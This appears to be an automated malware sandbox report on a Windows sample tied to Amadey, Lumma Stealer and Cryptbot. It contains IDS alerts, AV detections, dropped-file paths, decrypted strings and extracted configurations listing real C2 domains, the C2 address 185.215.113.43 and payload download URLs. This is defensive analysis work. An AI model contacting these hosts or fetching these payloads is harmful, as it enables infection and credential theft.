2024-12-19T14:11:02.914898+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:14.013486+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:16.103905+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49934	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:26.297314+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49794	172.67.177.88	443	TCP
2024-12-19T14:11:02.914898+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:14.013486+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49927	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:28.604267+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49801	172.67.177.88	443	TCP
2024-12-19T14:11:16.103905+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49934	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:11:12.965589+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49927	104.21.66.85	443	TCP
2024-12-19T14:11:15.270779+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49934	104.21.66.85	443	TCP
2024-12-19T14:11:18.725134+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49943	104.21.66.85	443	TCP
2024-12-19T14:11:21.218692+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49952	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:11:01.603308+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49896	172.67.179.109	443	TCP
2024-12-19T14:11:03.566715+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49902	172.67.179.109	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:17.611468+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49773	185.215.113.43	80	TCP
2024-12-19T14:10:26.016663+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49795	185.215.113.43	80	TCP
2024-12-19T14:10:38.316190+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49829	185.215.113.43	80	TCP
2024-12-19T14:10:46.842500+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49855	185.215.113.43	80	TCP
2024-12-19T14:10:52.527126+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49870	185.215.113.43	80	TCP
2024-12-19T14:10:59.263380+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49886	185.215.113.43	80	TCP
2024-12-19T14:11:11.803008+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49921	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:11:12.735822+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49923	176.53.146.212	80	TCP
2024-12-19T14:11:14.827176+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49936	176.53.146.212	80	TCP
2024-12-19T14:11:24.455829+0100	2054350	1	A Network Trojan was detected	192.168.2.4	49965	176.53.146.212	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:11:11.407158+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.4	64048	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:59.971588+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	64794	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:59.639726+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	60384	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:39.335846+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49832	172.67.177.88	443	TCP
2024-12-19T14:11:19.717896+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49943	104.21.66.85	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:07.087243+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49742	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:16.264516+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49748	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T14:10:11.782555+0100	2803305	3	Unknown Traffic	192.168.2.4	49754	31.41.244.11	80	TCP
2024-12-19T14:10:19.114682+0100	2803305	3	Unknown Traffic	192.168.2.4	49775	31.41.244.11	80	TCP
2024-12-19T14:10:27.477777+0100	2803305	3	Unknown Traffic	192.168.2.4	49800	31.41.244.11	80	TCP
2024-12-19T14:10:39.765532+0100	2803305	3	Unknown Traffic	192.168.2.4	49837	31.41.244.11	80	TCP
2024-12-19T14:10:48.337591+0100	2803305	3	Unknown Traffic	192.168.2.4	49859	31.41.244.11	80	TCP
2024-12-19T14:10:53.996034+0100	2803305	3	Unknown Traffic	192.168.2.4	49873	31.41.244.11	80	TCP
2024-12-19T14:11:00.758223+0100	2803305	3	Unknown Traffic	192.168.2.4	49892	31.41.244.11	80	TCP
2024-12-19T14:11:13.262808+0100	2803305	3	Unknown Traffic	192.168.2.4	49928	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://grannyejh.lat/#	Avira URL Cloud: Label: malware
Source: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	Avira URL Cloud: Label: malware
Source: https://aspecteirs.lat/api	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/geopoxid/random.exe	Avira URL Cloud: Label: phishing
Source: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/wicked/random.exe	Avira URL Cloud: Label: phishing
Source: http://fivetk5vt.top/v1/upload.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Avira: detection malicious, Label: HEUR/AGEN.1314134
Source: C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 28.2.27302b4729.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "discokeyus.lat", "sweepyribs.lat", "energyaffai.lat", "grannyejh.lat", "crosshuaht.lat", "rapeflowwj.lat", "necklacebudi.lat"], "Build id": "yau6Na--6989783370"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 70%
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Joe Sandbox ML: detected
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cheapptaxysu.click
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: CZJvss--

Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_205c0ba1-0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.88:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49952 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2701281095.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2701454729.0000000005850000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2699869880.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700132652.0000000005920000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2712342108.0000000005530000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2706673371.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2700623377.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700895264.00000000058D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2699869880.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700132652.0000000005920000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2712342108.0000000005530000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2706673371.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2700623377.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700895264.00000000058D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2701281095.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2701454729.0000000005850000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 4x nop then jmp 018B5B19h		7_2_018B5193
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 4x nop then jmp 018B5B19h		7_2_018B516B

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49742 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49748
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49795 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49829 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49855 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49870 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49886 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:60384 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:64794 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49896 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49902 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.4:64048 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49927 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49923 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49921 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49936 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49934 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49943 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49952 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49965 -> 176.53.146.212:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49801 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49832 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49801 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49854 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49794 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49794 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49927 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49896 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49896 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49934 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49934 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49927 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49943 -> 104.21.66.85:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

